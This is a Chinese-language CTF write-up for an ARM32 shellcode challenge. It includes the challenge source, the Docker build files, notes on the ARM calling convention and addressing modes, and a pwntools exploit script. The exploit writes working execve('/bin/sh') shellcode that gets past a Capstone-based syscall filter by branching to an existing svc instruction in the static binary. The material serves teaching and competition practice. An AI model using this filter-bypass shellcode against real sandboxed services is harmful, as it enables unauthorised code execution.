arm32_shellcode

发布时间 2023-10-08 19:06:07作者: brain_Z

arm32_shellcode

题目文件

image-20231008181229234

build.sh

#!/bin/bash
arm-linux-gnueabi-gcc -g -static -Iinclude -o chal chal.c libcapstone.a

chal.c

#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <ctype.h>

#include <capstone/capstone.h>


#define die(x) do { puts(x); exit(-1); } while (0)


#define SHELLCODE_ADDR 0xdead0000
#define SHELLCODE_MAX_SIZE 0x100
#define INPUT_SIZE SHELLCODE_MAX_SIZE*2

size_t parsehex(char *src, char *dest) {
    size_t len = strlen(src);
    if (src[len-1] == '\n') {
        src[len-1] = '\0';
        len--;
    }
    if (len % 2 == 1)
        die("*** Bad hex (odd length) ***");
    size_t final_len = len / 2;
    for (size_t i=0, j=0; j<final_len; i+=2, j++) {
        if (!(isxdigit(src[i]) && isxdigit(src[i+1])))
            die("*** Bad hex (invalid char) ***");
        dest[j] = (src[i] % 32 + 9) % 25 * 16 + (src[i+1] % 32 + 9) % 25;
    }

    return final_len;
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    
    printf("Welcome to shell code as a shell\n");
    printf("Enter your shellcode (in hex please) up to %d chars\n", INPUT_SIZE);
    char input[INPUT_SIZE+1];
    void *shellcode;
    shellcode = mmap(SHELLCODE_ADDR, SHELLCODE_MAX_SIZE, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    fgets(input, sizeof(input), stdin);
    
    size_t sz = parsehex(input, shellcode);
    if (sz < 4)
        die("Not enough bytes for an instruction!");

    csh handle;
    cs_insn *insn;

    if (cs_open(CS_ARCH_ARM, CS_MODE_ARM, &handle) != CS_ERR_OK)
        exit(-1);
    if (cs_option(handle, CS_OPT_DETAIL, CS_OPT_ON) != CS_ERR_OK)
        exit(-1);

    size_t count = cs_disasm(handle, shellcode, sz, SHELLCODE_ADDR, 0, &insn);
    if (count < 0) {
        cs_close(&handle);
        die("*** Failed to disassemble shellcode! ***");
    }

    printf("*** Read %d instructions ***\n", count);

    uint64_t end_pos = SHELLCODE_ADDR;
    for (size_t i = 0; i < count; ++i) {
        printf("0x%" PRIx64 ":\t%s\t\t%s\n", insn[i].address, insn[i].mnemonic,
            insn[i].op_str);

        // Check for syscalls
        cs_detail *detail = insn[i].detail;
        if (detail->groups_count > 0) {
        for (int n = 0; n < detail->groups_count; n++)
            if (detail->groups[n] == ARM_GRP_INT) {
                die("*** No syscalls for you! ***");
            }
        }
        end_pos += insn[i].size;
    }
    cs_free(insn, count);
    cs_close(&handle);

    if (count != sz / 4) {
        die("*** Incorect number of disassembled instructions. Make sure instructions are correct. ***");
    }
    
    // Setup environment and run
    puts("*** Shellcode looks good, let's roll! ***");

    mprotect(shellcode, SHELLCODE_ADDR, PROT_READ | PROT_EXEC);

    // Clear registers
    asm("mov r0, #0\n"
        "mov r1, #0\n"
        "mov r2, #0\n"
        "mov r3, #0\n"
        "mov r4, #0\n"
        "mov r5, #0\n"
        "mov r6, #0\n"
        "mov r7, #0\n"
        "mov r8, #0\n"
        "mov r9, #0\n"
        "mov r10, #0\n");
    void (*code)() = shellcode;
    code();
}

Dockerfile

FROM ubuntu:22.04@sha256:aabed3296a3d45cede1dc866a24476c4d7e093aa806263c27ddaadbdce3c1054 as build

RUN apt update && apt upgrade -y
RUN apt install git gcc-arm-linux-gnueabi qemu-user gdb-multiarch make wget -y

WORKDIR /build
COPY make-capstone.sh /build
RUN wget --no-verbose -O "capstone-5.0.tar.gz" "https://github.com/capstone-engine/capstone/archive/refs/tags/5.0.tar.gz"

RUN ./make-capstone.sh
COPY chal.c build.sh /build/
RUN ./build.sh


FROM ubuntu:22.04@sha256:aabed3296a3d45cede1dc866a24476c4d7e093aa806263c27ddaadbdce3c1054 as prod_build

RUN apt update && apt upgrade -y
RUN apt install qemu-user -y

WORKDIR /app
COPY --from=build /build/chal .
COPY flag.txt ./
# Jail entrypoint
COPY run.sh run


FROM pwn.red/jail@sha256:ee52ad5fd6cfed7fd8ea30b09792a6656045dd015f9bef4edbbfa2c6e672c28c as prod

COPY --from=prod_build / /srv

make-capstone.sh

#!/bin/sh

set -e
set -x 

CAPSTONE_DIR="capstone-5.0"
CAPSTONE_SRC=$CAPSTONE_DIR.tar.gz

rm -rf $CAPSTONE_DIR
export CC=arm-linux-gnueabi-gcc
export AR=arm-linux-gnueabi-ar
export RANLIB=arm-linux-gnueabi-ranlib

tar -xf $CAPSTONE_SRC
cd $CAPSTONE_DIR
./make.sh

cp libcapstone.so.5 ../libcapstone.so
cp libcapstone.a ../libcapstone.a
cp -r include ../

run.sh

#!/bin/sh

qemu-arm ./chal

保护:

image-20231008185018168

题目文件给的很全,如何编译写在了build里,需要什么libc库也有make-capstone.sh,还是静态链接的arm32程序,当然run.sh得我们自己改下。

其中Dockerfile才是最应该注意的(),主要是Ubuntu22.04下的编译结果和20.04差很多,特别是在静态链接的函数偏移方面,我们尽量还是用题目的U22环境进行编译和调试,不然就会像我一样用U20编译出来的错误偏移程序嗯造远程造不出来。

arm题启动脚本:

tools.sh

#!/bin/sh
program_name='qemu-arm'#用于找到仍然在运行的进程,qemu-arm启动的就找qemu-arm,qemu-aarch64启动的就找qemu-aarch64

pids=$(pgrep $program_name)

echo $pids

sudo kill -9 $pids

tmux splitw -h ./GT.sh

python3 expemm.py

GT.sh

gdb-multiarch ./chal    \
    -ex 'target remote localhost:1234'  \
    -ex 'b*0x107c0' \
    -ex 'b*0x10a94' \

同时,我在编译调试过程中发现了一个问题,那就是qemu起的arm程序进gdb,我每次gdb进到shellcode开始执行都会直接崩溃,经过各种原因排查,最后发现是我的qemu版本过高导致的,我编译安装qemu了好几个版本,最后测试下来,8.1不行,7.2不行,6.2(u22 apt默认装的版本)和4.2(u20 apt默认装的版本)可以。

同时在普通用户下进入gdb,在gdb里vmmap时能正常显示arm32程序的内存地址布局,而如果是root下进入则无法正常vmmap

image-20231008183542579

image-20231008183625740

分析和exp

arm架构规则

寄存器规则

  1. 子程序间通过寄存器R0~R3传递参数。这时,寄存器R0~R3可记作arg0~arg3。被调用的子程序在返回前无需恢复寄存器R0~R3的内容,R0被用来存储函数调用的返回值
  2. 在子程序中,使用寄存器R4~R11保存局部变量。这时,寄存器R4~R11可以记作var1~var8。如果在子程序中使用了寄存器v1~v8中的某些寄存器,则子程序进入时必须保存这些寄存器的值,在返回前必须恢复这些寄存器的值R7经常被用作存储系统调用号,R11存放着帮助我们找到栈帧边界的指针,记作FP。在Thumb程序中,通常只能使用寄存器R4~R7来保存局部变量。
  3. 寄存器R12用作过程调用中间临时寄存器,记作IP。在子程序之间的连接代码段中常常有这种使用规则。
  4. 寄存器R13用作堆栈指针,记作SP。在子程序中寄存器R13不能用作其他用途。寄存器SP在进入子程序时的值和退出子程序时的值必须相等
  5. 寄存器R14称为连接寄存器,记作LR。它用于保存子程序的返回地址。如果在子程序中保存了返回地址,寄存器R14则可以用作其他用途。
  6. 寄存器R15程序计数器,记作PC。它不能用作其它用途。当执行一个分支指令时,PC存储目的地址。在程序执行中,ARM模式下的PC存储着当前指令加8(两条ARM指令后)的位置,Thumb(v1)模式下的PC存储着当前指令加4(两条Thumb指令后)的位置

给出ARM架构寄存器与Intel架构寄存器的关系:

ARM架构 寄存器名 寄存器描述 Intel架构 寄存器名
R0 通用寄存器 EAX
R1~R5 通用寄存器 EBX、ECX、EDX、EDI、ESI
R6~R10 通用寄存器
R11(FP) 栈帧指针 EBP
R12(IP) 内部程序调用
R13(SP) 堆栈指针 ESP
R14(LP) 链接寄存器
R15(PC) 程序计数器 EIP
CPSR 程序状态寄存器 EFLAGS

堆栈(Stack)规则

  1. ATPCS规定堆栈为FD类型,即Full Descending,意思是 SP指向最后一个压入的值(栈顶),数据栈由高地址向低地址生长,即满递减堆栈,并且对堆栈的操作是8字节对齐。所以经常使用的指令就有STMFD和LDMFD

传参规则

  1. 对于参数个数可变的子程序,当参数个数不超过4个时,可以使用寄存器R0~R3来传递参数;当参数超过4个时,还可以使用堆栈来传递参数。
  2. 在传递参数时,将所有参数看作是存放在连续的内存字单元的字数据。然后,依次将各字数据传递到寄存器R0,R1,R2和R3中。如果参数多于4个,则将剩余的字数据传递到堆栈中。入栈的顺序与参数传递顺序相反,即最后一个字数据先入栈。

返回值规则

  1. 结果为一个32位整数时,可以通过寄存器R0返回
  2. 结果为一个64位整数时,可以通过寄存器R0和R1返回
  3. 结果为一个浮点数时,可以通过浮点运算部件的寄存器f0、d0或s0来返回
  4. 结果为复合型浮点数(如复数)时,可以通过寄存器f0~fn或d0~dn来返回
  5. 对于位数更多的结果,需要通过内存来传递。

访址规则

  1. 通常,LDR指令被用来从内存中加载数据到寄存器,STR指令被用作将寄存器的值存放到内存中。

    @ LDR操作:从R0指向的地址中取值放到R2中
    LDR R2, [R0]   @ [R0] - 数据源地址来自于R0指向的内存地址
    @ STR操作:将R2中的值放到R1指向的地址中
    STR R2, [R1]   @ [R1] - 目的地址来自于R1在内存中指向的地址
    

    那么我们给出示例代码和解释:

    .data          /* 数据段是在内存中动态创建的,所以它的在内存中的地址不可预测*/
    var1: .word 3  /* 内存中的第一个变量且赋值为3 */
    var2: .word 4  /* 内存中的第二个变量且赋值为4 */
    
    .text          /* 代码段开始 */ 
    .global _start
    
    _start:
        ldr r0, adr_var1  @ 将存放var1值的地址adr_var1加载到寄存器R0中 
        ldr r1, adr_var2  @ 将存放var2值的地址adr_var2加载到寄存器R1中 
        ldr r2, [r0]      @ 将R0所指向地址中存放的0x3加载到寄存器R2中  
        str r2, [r1]      @ 将R2中的值0x3存放到R1做指向的地址,此时,var2变量的值是0x3
        bkpt        
    
    adr_var1: .word var1  /* var1的地址助记符 */
    adr_var2: .word var2  /* var2的地址助记符 */
    

    接下来我们对这段代码进行反编译,结果如下:

    ldr  r0, [ pc, #12 ]   ; 0x8088 <adr_var1>
    ldr  r1, [ pc, #12 ]   ; 0x808c <adr_var2>
    ldr  r2, [r0]
    str  r2, [r1]
    bx   lr
    

    此处,[PC,#12]的意义是PC + 4*3,可以看出,程序使用了偏移寻址的思路,但是,根据我们所写的汇编码:

    _start:
        ldr  r0, [ pc, #12 ]   ; <- PC
        ldr  r1, [ pc, #12 ]   
        ldr  r2, [r0]
        str  r2, [r1]
        bx   lr       
    
    adr_var1: .word var1  
    adr_var2: .word var2
    

    我们若想获取var_1,应该为PC + 4 * 5才对,但是我们之前提过的,在程序执行中,ARM模式下的PC存储着当前指令加8(两条ARM指令后)的位置,也就是说,此时程序中的状况应该如下表所示:

    _start:
        ldr  r0, [ pc, #12 ]
        ldr  r1, [ pc, #12 ]   
        ldr  r2, [r0]          ; <- PC
        str  r2, [r1]
        bx   lr       
    
    adr_var1: .word var1  
    adr_var2: .word var2
    

    这种形如[Ri , num]的方式被称为立即数作偏移寻址

    str r2, [r1, #2]  @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加2所指向地址处。
    str r2, [r1, #4]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加4所指向地址处,之后R1寄存器中存储的值加4,也就是R1=R1+4。
    ldr r3, [r1], #4  @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中存储的值加4,也就是R1=R1+4。
    
  2. 形如

    [Ri , Rj]
    

    的方式被称为

    寄存器作偏移寻址

    str r2, [r1, r2]  @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处。R1寄存器不会被修改。 
    str r2, [r1, r2]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加R2寄存器的值所指向地址处,之后R1寄存器中的值被更新,也就是R1=R1+R2。
    ldr r3, [r1], r2  @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中的值被更新也就是R1=R1+R2。
    
  3. 形如

    [Ri , Rj , <shifter>]
    

    的方式被称为

    寄存器缩放值作偏移寻址

    str r2, [r1, r2, LSL#2]  @ 取址模式:基于偏移量。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处。R1寄存器不会被修改。
    str r2, [r1, r2, LSL#2]! @ 取址模式:基于索引前置修改。R2寄存器中的值0x3被存放到R1寄存器的值加(左移两位后的R2寄存器的值)所指向地址处,之后R1寄存器中的值被更新,也就R1 = R1 + R2<<2。
    ldr r3, [r1], r2, LSL#2  @ 取址模式:基于索引后置修改。R3寄存器中的值是从R1寄存器的值所指向的地址中加载的,加载之后R1寄存器中的值被更新也就是R1 = R1 + R2<<2。
    

分析

有给源码,不难看出来是arm32shellcode,其中parsehex是用来分割输入的十六进制字节码的,一般把要送的字节码.hex()就行。不能送'\x00',同时禁止了SVC0(arm32的syscall)字节码的出现,输入shellcode后会把执行段设为可读可执行不可写,阻碍了我们用read进行绕过。但是这题是静态链接,而且没开PIE,我们直接利用静态链接函数库里的svc0即可,用ldr pc或者blx 寄存器进行跳转到svc0即可

exp:

#!/usr/bin/python3
#coding=utf-8
'''
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    需要无debug,就把-t删了,需要从main开始附近下断点加-p,显示详情加-v


    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwn import *
from pickletools import stackslice
import time
from shutil import move
from pwncli import *
#from mcrypt import * # 这个模块是自己用的,作用就是进行base64换表

pwn_mode=0

if pwn_mode==0 :
    context(os = 'linux', terminal = ['tmux', 'splitw', '-h'])
    #context.terminal = ['tmux','splitw','-h']
    context.arch='arm'

    local=0
    exec_file="./chal"
    #context.binary = exec_file
    context.log_level='debug'



    elf=ELF(exec_file)

    if local :
        p = process(exec_file)
        # if context.arch == "i386" :
        #     libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
        # elif context.arch == "amd64" :
        #     libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False) 
    else:
        p = remote("127.0.0.1",10002)
        #p=remote('chall.pwnoh.io', 13375)

    libc_path='/lib/x86_64-linux-gnu/libc.so.6'
    libc=ELF(libc_path, checksec = False)


    

    def get_base(a, text_name=exec_file[0-exec_file[::-1].find('/'):],libc_name=libc_path[0-libc_path[::-1].find('/'):]):
        text_addr = 0
        libc_base = 0
        for name, addr in a.libs().items():
            if text_name in name[0-name[::-1].find('/'):]:
                text_addr = addr
            elif "libc-" in name or "libc." in name or libc_name in name:
                libc_base = addr 
        return text_addr, libc_base
    def debug(stop=0):
        if local == 1 and pwn_mode==0:
            text_base, libc_base = get_base(p)
            script = '''
            set $text_base = {}
            set $libc_base = {}
            

            
            
            '''.format(hex(text_base), hex(libc_base))
            #LOGTOOL['address']=0x4060+text_base
            LOGALL()
            #b mprotect
            #b *($text_base+0x0000000000000000F84)
            #b *($text_base+0x000000000000134C)
            # b *($text_base+0x0000000000000000001126)
            #dprintf *($text_base+0x04441),"%c",$ax
            #dprintf *($text_base+0x04441),"%c",$ax
            #0x12D5
            #0x04441
            #b *($text_base+0x0000000000001671)
            gdb.attach(p, script)
            if stop:
                pause()
    #b *$rebase(0x001CEB)
    def fuck(address):
        n = globals()
        for key, value in n.items():
            if value == address:
                success(key + "  ==>  " + hex(address))
                return


    def ROL(content, key):
        tmp = bin(content)[2:].rjust(64, '0')
        return int(tmp[key:] + tmp[:key], 2)
    
else:
    cli_script()
    p: tube = gift.io
    elf: ELF = gift.elf
    libc: ELF = gift.libc

    filename  = gift.filename # current filename
    is_debug  = gift.debug # is debug or not 
    is_remote = gift.remote # is remote or not
    gdb_pid   = gift.gdb_pid # gdb pid if debug
    if gift.remote:
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
        gift['libc'] = libc
        #set_remote_libc()
    CurrentGadgets.set_find_area(1,0)
    #execute_cmd_in_current_gdb('b *0x401401')
    #set_current_pie_breakpoints(0x401401)
    #recv_current_libc_addr(libc.sym.free,5)
    #kill_current_gdb()
    #set_current_libc_base(leak,offset)
    #set_current_libc_base_and_log(leak,offset)
    #set_current_code_base()
    #set_current_code_base_and_log()
    #tele_current_pie_content()

s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
rn = lambda x : p.recvn(x)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim,b=False: p.recvuntil(delim,drop=b)
rut = lambda delim,time=0.1: p.recvuntil(delim,timeout=time)
rl = lambda a=False: p.recvline(a)
rls = lambda n=2**20: p.recvlines(n)
it      = lambda                    :p.interactive()
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
i2b = lambda c : str(c).encode()
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00'))
bp      = lambda bkp                :gdb.attach(p,'b *'+bkp)



LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-25s%s"%(i[0]+":",hex(i[1])))

# shellcode=asm('''
#         movw r7, #0x41410068 & 0xffff
#         movt r7, #0x41410068 >> 16
#         push {r7}
#         movw r7, #0x732f2f2f & 0xffff
#         movt r7, #0x732f2f2f >> 16
#         push {r7}
#         movw r7, #0x6e69622f & 0xffff
#         movt r7, #0x6e69622f >> 16
#         push {r7}
#         mov r0, sp
#         movw r7, #0x6873
#         push {r7}
#         eor r12, r12
#         push {r12}
#         mov r1, #4
#         add r1, sp
#         mov r12, r1
#         push {r12}
#         mov r1, sp
#         eor r2, r2
#         mov r7, #0xb
#         ldr pc,=0x0011d788
# ''')
shellcode1='''
movw r5,0x732f
movt r5,0x68
push {r5}
movw r5,0x622f
movt r5,0x6e69
push {r5}
mov r0,sp
mov r7,#0xb
movw r4,0xd788
movt r4,0x11
blx r4

'''


shellcode2=asm(shellcode1,arch='arm',bits=32)
print('aaaaaaaaaaaaaa'+disasm(shellcode2))
aaa=b'/bin/sh'
for i in aaa:
    print(hex(0x100+i)[-2:].encode()+b'\n')
shellcode3=b''
for i in shellcode2:
    shellcode3+=hex(0x100+i)[-2:].encode()
sl(shellcode2.hex())


# add R0,R0,#0x100
# mov r7,#0xb
# mov r6,#0x68
# STR R6, [R3, #0x100]
# mov r6,#0x73
# STR R6, [R3, #0x101]
# mov r6,#0x2f
# STR R6, [R3, #0x102]
# mov r6,#0x6e
# STR R6, [R3, #0x103]
# mov r6,#0x69
# STR R6, [R3, #0x104]
# mov r6,#0x62
# STR R6, [R3, #0x105]
# mov r6,#0x2f
# STR R6, [R3, #0x106]
# mov r5,#0xae
# EOR r5,r5,#0x41
# STR R5, [R3, #0x50]


# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# gift['libc'] = libc
# print(gift.libc)
# pd = flat(
# {
#     0:[
#         #[CurrentGadgets.ret()]*0x20,
#         [p64(0xdead)]*0x50,
#         p64(0x114514)
#         ]
# },filler='\x00'
# )
# s(pd)


# def new_func():
#     s(0x50*b'a')
# while True:
#     try:
#         new_func()
#     except (EOFError):
#         gift.io = copy_current_io()
it()